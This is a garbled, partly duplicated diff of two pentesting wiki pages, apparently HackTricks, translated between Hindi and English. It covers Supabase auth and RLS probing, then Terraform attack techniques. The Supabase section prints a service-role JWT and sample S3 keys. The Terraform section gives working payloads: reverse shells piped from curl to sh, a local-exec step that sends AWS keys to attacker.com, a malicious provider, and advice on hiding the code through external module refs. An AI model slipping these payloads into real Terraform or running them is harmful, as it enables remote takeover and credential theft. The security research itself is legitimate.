The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
|
||||
### JWT Secret
|
||||
|
||||
एक **JWT Secret** भी जनरेट किया जाएगा ताकि एप्लिकेशन **कस्टम JWT टोकन बना कर साइन** कर सके।
|
||||
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
|
||||
|
||||
## प्रमाणीकरण
|
||||
## Authentication
|
||||
|
||||
### Signups
|
||||
|
||||
> [!TIP]
|
||||
> डिफ़ॉल्ट रूप से supabase आपके प्रोजेक्ट पर पहले बताए गए API endpoints का उपयोग करके **नए उपयोगकर्ताओं को अकाउंट बनाने** की अनुमति देगा।
|
||||
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
|
||||
|
||||
हालाँकि, ये नए अकाउंट्स, डिफ़ॉल्ट रूप से, **लॉगिन करने के लिए अपना ईमेल पता सत्यापित करना आवश्यक होगा**। यह संभव है कि **"Allow anonymous sign-ins"** सक्षम किया जा सके ताकि लोग अपना ईमेल सत्यापित किए बिना लॉगिन कर सकें। इससे उन्हें **अनपेक्षित डेटा** तक पहुंच मिल सकती है (उन्हें `public` और `authenticated` रोल मिलते हैं)।\
|
||||
यह बहुत बुरा विचार है क्योंकि supabase सक्रिय उपयोगकर्ता के आधार पर चार्ज करता है, इसलिए लोग यूज़र्स बना कर लॉगिन कर सकते हैं और supabase उन पर चार्ज कर देगा:
|
||||
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
|
||||
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Auth: सर्वर-साइड साइनअप प्रवर्तन
|
||||
#### Auth: Server-side signup enforcement
|
||||
|
||||
Frontend में signup बटन छिपाना पर्याप्त नहीं है। अगर **Auth सर्वर अभी भी signups की अनुमति देता है**, तो एक हमलावर सीधे API को सार्वजनिक `anon` key के साथ कॉल कर सकता है और मनमाने उपयोगकर्ता बना सकता है।
|
||||
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
|
||||
|
||||
Quick test (from an unauthenticated client):
|
||||
|
||||
त्वरित परीक्षण (एक अनप्रमाणित क्लाइंट से):
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
```
|
||||
|
||||
Expected hardening:
|
||||
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
|
||||
- Verify the API now returns 4xx to the previous call and no new user is created.
|
||||
@@ -154,108 +160,113 @@ Risk pattern observed in the wild:
|
||||
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
|
||||
|
||||
Illustrative write via view (attempted from a public client):
|
||||
|
||||
```bash
|
||||
curl -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
```
|
||||
|
||||
Hardening checklist for views and RLS:
|
||||
- बेस टेबल्स को स्पष्ट, न्यूनतम-प्रिविलेज ग्रांट्स और सटीक RLS नीतियों के साथ एक्सपोज़ करना प्राथमिकता दें।
|
||||
- यदि आपको किसी view को एक्सपोज़ करना ही है:
|
||||
- इसे non-updatable बनाएं (उदा., expressions/joins शामिल करके) या सभी untrusted roles के लिए view पर `INSERT/UPDATE/DELETE` को deny करें।
|
||||
- लागू करें `ALTER VIEW <v> SET (security_invoker = on)` ताकि owner के बजाय invoker के privileges का उपयोग हो।
|
||||
- बेस टेबल्स पर `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` का उपयोग करें ताकि मालिक भी RLS के अधीन हों।
|
||||
- अगर updatable view के माध्यम से लिखने की अनुमति दे रहे हैं, तो `WITH [LOCAL|CASCADED] CHECK OPTION` और बेस टेबल्स पर समकक्ष RLS जोड़ें ताकि केवल अनुमत rows ही लिखे/बदलें जा सकें।
|
||||
- Supabase में, तब तक `anon`/`authenticated` को views पर कोई write privileges न दें जब तक आपने end-to-end व्यवहार को tests से सत्यापित न कर लिया हो।
|
||||
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
|
||||
- If you must expose a view:
|
||||
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
|
||||
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invoker’s privileges are used instead of the owner’s.
|
||||
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
|
||||
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
|
||||
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
|
||||
|
||||
Detection tip:
|
||||
- `anon` और एक `authenticated` टेस्ट यूज़र से, हर एक्सपोज्ड table/view के खिलाफ सभी CRUD ऑपरेशन्स आजमाएँ। जहाँ denial की उम्मीद थी वहां कोई सफल write हो तो वह misconfiguration का संकेत है।
|
||||
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
|
||||
|
||||
### OpenAPI-driven CRUD probing from anon/auth roles
|
||||
|
||||
PostgREST एक OpenAPI दस्तावेज़ एक्सपोज़ करता है जिसका उपयोग आप सभी REST resources को सूचीबद्ध करने के लिए कर सकते हैं, और फिर low-privileged roles से स्वचालित रूप से अनुमत ऑपरेशन्स को प्रोब कर सकते हैं।
|
||||
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
|
||||
|
||||
Fetch the OpenAPI (works with the public anon key):
|
||||
|
||||
```bash
|
||||
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
```
|
||||
|
||||
Probe pattern (examples):
|
||||
- एक पंक्ति पढ़ें (RLS के अनुसार 401/403/200 की उम्मीद):
|
||||
- Read a single row (expect 401/403/200 depending on RLS):
|
||||
```bash
|
||||
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
```
|
||||
- टेस्ट UPDATE ब्लॉक किया गया है (टेस्टिंग के दौरान डेटा में परिवर्तन से बचने के लिए एक गैर-मौजूद filter का उपयोग करें):
|
||||
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
|
||||
```bash
|
||||
curl -i -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
- टेस्ट INSERT ब्लॉक किया गया है:
|
||||
- Test INSERT is blocked:
|
||||
```bash
|
||||
curl -i -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
```
|
||||
- टेस्ट DELETE अवरुद्ध है:
|
||||
- Test DELETE is blocked:
|
||||
```bash
|
||||
curl -i -X DELETE \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
|
||||
Recommendations:
|
||||
- पहले किए गए प्रोब्स को `anon` और न्यूनतम रूप से `authenticated` उपयोगकर्ता दोनों के लिए ऑटोमेट करें और रिग्रेशन पकड़ने के लिए उन्हें CI में इंटीग्रेट करें।
|
||||
- प्रत्येक एक्सपोज़ की गई टेबल/व्यू/फ़ंक्शन को एक प्रथम-श्रेणी सतह की तरह मानें। यह न मानें कि कोई view उसके base tables के समान RLS स्थिति “inherits” करता है।
|
||||
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
|
||||
- Treat every exposed table/view/function as a first-class surface. Don’t assume a view “inherits” the same RLS posture as its base tables.
|
||||
|
||||
### पासवर्ड और सत्र
|
||||
### Passwords & sessions
|
||||
|
||||
यह संभव है कि न्यूनतम पासवर्ड लंबाई (डिफ़ॉल्ट रूप से), आवश्यकताएँ (डिफ़ॉल्ट रूप से नहीं) और leaked पासवर्ड का उपयोग न करने का विकल्प निर्धारित किया जा सके।\
|
||||
सुझाया जाता है कि **डिफ़ॉल्ट आवश्यकताओं को सुधारें क्योंकि वे कमजोर हैं**।
|
||||
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
|
||||
It's recommended to **improve the requirements as the default ones are weak**.
|
||||
|
||||
- User Sessions: यह कॉन्फ़िगर करना संभव है कि user sessions कैसे काम करें (timeouts, 1 session per user...)
|
||||
- Bot and Abuse Protection: Captcha सक्षम किया जा सकता है।
|
||||
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
|
||||
- Bot and Abuse Protection: It's possible to enable Captcha.
|
||||
|
||||
### SMTP Settings
|
||||
|
||||
ईमेल भेजने के लिए SMTP सेट करना संभव है।
|
||||
It's possible to set an SMTP to send emails.
|
||||
|
||||
### उन्नत सेटिंग्स
|
||||
### Advanced Settings
|
||||
|
||||
- access tokens के लिए expire time सेट करें (3600 डिफ़ॉल्ट)
|
||||
- संभावित रूप से compromised refresh tokens का पता लगाने और revoke करने तथा timeout सेट करने का विकल्प
|
||||
- MFA: यह निर्दिष्ट करें कि प्रति उपयोगकर्ता एक साथ कितने MFA factors enroll किए जा सकते हैं (डिफ़ॉल्ट 10)
|
||||
- Max Direct Database Connections: auth के लिए उपयोग किए जाने वाले कनेक्शनों की अधिकतम संख्या (डिफ़ॉल्ट 10)
|
||||
- Max Request Duration: Auth request के लिए अनुमत अधिकतम समय (डिफ़ॉल्ट 10s)
|
||||
- Set expire time to access tokens (3600 by default)
|
||||
- Set to detect and revoke potentially compromised refresh tokens and timeout
|
||||
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
|
||||
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
|
||||
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
|
||||
|
||||
## Storage
|
||||
|
||||
> [!TIP]
|
||||
> Supabase आपको **फ़ाइलें स्टोर करने** की अनुमति देता है और उन्हें URL के माध्यम से उपलब्ध कराता है (यह S3 buckets का उपयोग करता है)।
|
||||
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
|
||||
|
||||
- अपलोड फ़ाइल आकार सीमा सेट करें (डिफ़ॉल्ट 50MB है)
|
||||
- S3 कनेक्शन एक URL के साथ दिया जाता है जैसे: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- आप **request S3 access key** कर सकते हैं जो एक `access key ID` (उदा. `a37d96544d82ba90057e0e06131d0a7b`) और एक `secret access key` (उदा. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) से बनती हैं
|
||||
- Set the upload file size limit (default is 50MB)
|
||||
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
|
||||
## Edge Functions
|
||||
|
||||
supabase में भी **store secrets** करना संभव है जो **accessible by edge functions** होंगे (इन्हें web से बनाया और deleted किया जा सकता है, लेकिन उनके मान तक सीधे पहुंचना संभव नहीं है)।
|
||||
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,404 +1,438 @@
|
||||
# Terraform सुरक्षा
|
||||
# Terraform Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## बुनियादी जानकारी
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform एक **infrastructure as code tool** है जो आपको human-readable configuration फाइलों में दोनों **cloud और on-prem resources** को परिभाषित करने देता है जिन्हें आप version, reuse, और share कर सकते हैं। आप फिर एक सुसंगत workflow का उपयोग करके अपने पूरे infrastructure को उसके lifecycle के दौरान provision और manage कर सकते हैं। Terraform compute, storage, और networking जैसे low-level components के साथ-साथ DNS entries और SaaS features जैसे high-level components को भी manage कर सकता है।
|
||||
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
|
||||
|
||||
#### Terraform कैसे काम करता है?
|
||||
#### How does Terraform work?
|
||||
|
||||
Terraform cloud platforms और अन्य सेवाओं पर उनके application programming interfaces (APIs) के माध्यम से resources बनाता और manage करता है। Providers Terraform को किसी भी ऐसे प्लेटफ़ॉर्म या सेवा के साथ काम करने में सक्षम बनाते हैं जिनके पास accessible API हो।
|
||||
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp और Terraform community ने पहले से ही **1700 से अधिक providers** लिखे हैं ताकि हजारों तरह के resources और सेवाओं को manage किया जा सके, और यह संख्या बढ़ती जा रही है। आप सभी publicly available providers को [Terraform Registry](https://registry.terraform.io/) पर देख सकते हैं, जिनमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और बहुत कुछ शामिल हैं।
|
||||
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
|
||||
|
||||
Core Terraform workflow तीन चरणों में होता है:
|
||||
The core Terraform workflow consists of three stages:
|
||||
|
||||
- **Write:** आप resources को परिभाषित करते हैं, जो कई cloud providers और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप एक configuration बना सकते हैं जो एक Virtual Private Cloud (VPC) नेटवर्क में virtual machines पर एक application deploy करे, जिसमें security groups और एक load balancer हो।
|
||||
- **Plan:** Terraform एक execution plan बनाता है जो उस इन्फ्रास्ट्रक्चर का वर्णन करता है जो यह create, update, या destroy करेगा, मौजूदा इन्फ्रास्ट्रक्चर और आपकी configuration के आधार पर।
|
||||
- **Apply:** अनुमोदन पर, Terraform प्रस्तावित operations को सही क्रम में निष्पादित करता है, किसी भी resource dependencies का सम्मान करते हुए। उदाहरण के लिए, यदि आप किसी VPC की properties अपडेट करते हैं और उस VPC में virtual machines की संख्या बदलते हैं, तो Terraform virtual machines को स्केल करने से पहले VPC को recreate करेगा।
|
||||
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
|
||||
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
|
||||
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform लैब
|
||||
### Terraform Lab
|
||||
|
||||
बस अपने कंप्यूटर में Terraform इंस्टॉल करें।
|
||||
Just install terraform in your computer.
|
||||
|
||||
यहाँ आपके पास एक [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) है और यहाँ आपके पास Terraform डाउनलोड करने का [best way to download terraform](https://www.terraform.io/downloads) है।
|
||||
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE in Terraform: config file poisoning
|
||||
|
||||
Terraform **को कोई ऐसी प्लेटफ़ॉर्म सेवा नहीं देती जो वेब पेज या नेटवर्क सर्विस एक्सपोज़ करे** जिसे हम enumerate कर सकें, इसलिए Terraform को compromise करने का एकमात्र तरीका यह है कि आप **terraform configuration files को add/modify कर सकें** या **terraform state file को modify कर सकें** (नीचे अध्याय देखें)।
|
||||
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
|
||||
|
||||
हालाँकि, Terraform compromise करने के लिए एक **बहुत संवेदनशील कंपोनेंट** है क्योंकि इसे सही ढंग से काम करने के लिए विभिन्न स्थानों पर **privileged access** की आवश्यकता होती है।
|
||||
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
||||
|
||||
एक attacker के लिए उस सिस्टम को compromise करने का मुख्य तरीका जहाँ Terraform चल रहा है, वह है **repository जिसे terraform configurations स्टोर करते हैं उसे compromise करना**, क्योंकि किसी न किसी बिंदु पर वे interpret किए जाएंगे।
|
||||
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
||||
|
||||
वास्तव में, ऐसी solutions हैं जो **एक PR बनने के बाद terraform plan/apply को स्वचालित रूप से execute** कर देती हैं, जैसे **Atlantis**:
|
||||
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
यदि आप किसी terraform फ़ाइल को compromise कर पाते हैं तो ऐसे कई तरीके हैं जिनसे आप RCE कर सकते हैं जब कोई `terraform plan` या `terraform apply` execute करता है।
|
||||
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan terraform का **सबसे ज्यादा इस्तेमाल किया जाने वाला command** है और developers/solutions जो Terraform का उपयोग करते हैं वो इसे बार-बार चलाते हैं, इसलिए **RCE पाने का सबसे आसान तरीका** यह है कि आप ऐसा terraform config file poison करें जो `terraform plan` में arbitrary commands execute कर दे।
|
||||
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
|
||||
|
||||
**Using an external provider**
|
||||
|
||||
Terraform [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ऑफर करता है जो Terraform और external programs के बीच interface प्रदान करने का तरीका देता है। आप `external` data source का उपयोग करके `plan` के दौरान arbitrary code चला सकते हैं।
|
||||
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
||||
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
|
||||
एक terraform config फ़ाइल में निम्नलिखित जैसी चीज inject करने से `terraform plan` execute करने पर एक rev shell चल जाएगी:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**कस्टम provider का उपयोग**
|
||||
|
||||
एक attacker [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) को [Terraform Registry](https://registry.terraform.io/) पर भेज सकता है और फिर उसे Terraform code में feature branch में जोड़ सकता है ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
**Using a custom provider**
|
||||
|
||||
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Provider को `init` में डाउनलोड किया जाता है और `plan` के निष्पादन पर यह दुर्भावनापूर्ण कोड चलाएगा
|
||||
|
||||
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
|
||||
|
||||
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
**बाहरी संदर्भ का उपयोग करना**
|
||||
**Using an external reference**
|
||||
|
||||
उल्लिखित दोनों विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा पहले की तुलना में अधिक छिपा हुआ है पर पहले से अधिक जटिल)। आप इस हमले को और भी अधिक छिपे हुए तरीके से कर सकते हैं, निम्न सुझावों का पालन करके:
|
||||
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
|
||||
- सीधे terraform file में rev shell जोड़ने की बजाय, आप rev shell को रखने वाले एक **बाहरी resource को लोड** कर सकते हैं:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
आप rev shell कोड इस लिंक पर पा सकते हैं: [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- बाहरी resource में, repo के अंदर किसी ब्रांच में मौजूद **terraform rev shell code** को छिपाने के लिए **ref** फीचर का उपयोग करें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply सभी परिवर्तन लागू करने के लिए चलाया जाएगा, आप इसे दुरुपयोग कर RCE प्राप्त कर सकते हैं, [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
आपको बस यह सुनिश्चित करना है कि नीचे दिए गए किसी payload को `main.tf` फाइल के अंत में रखा गया हो:
|
||||
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
पिछली तकनीक के **सुझावों का पालन करें** ताकि इस हमले को **बाहरी संदर्भों का उपयोग करके और अधिक छिपकर** किया जा सके।
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
|
||||
|
||||
## Secrets Dumps
|
||||
|
||||
आप terraform file में कुछ इस तरह जोड़कर `terraform apply` चलाने पर **secret values used by terraform dumped** करा सकते हैं:
|
||||
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
|
||||
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Terraform State Files का दुरुपयोग
|
||||
|
||||
अगर आपके पास terraform state files पर write access है लेकिन आप terraform code को बदल नहीं सकते, तो [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फाइल का फायदा उठाने के कुछ दिलचस्प विकल्प देती है। भले ही आपके पास config files पर write access हो, state files के वेक्टर का उपयोग अक्सर कहीं ज़्यादा छिपा हुआ (sneaky) होता है, क्योंकि आप `git` history में निशान नहीं छोड़ते।
|
||||
## Abusing Terraform State Files
|
||||
|
||||
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
|
||||
|
||||
### RCE in Terraform: config file poisoning
|
||||
|
||||
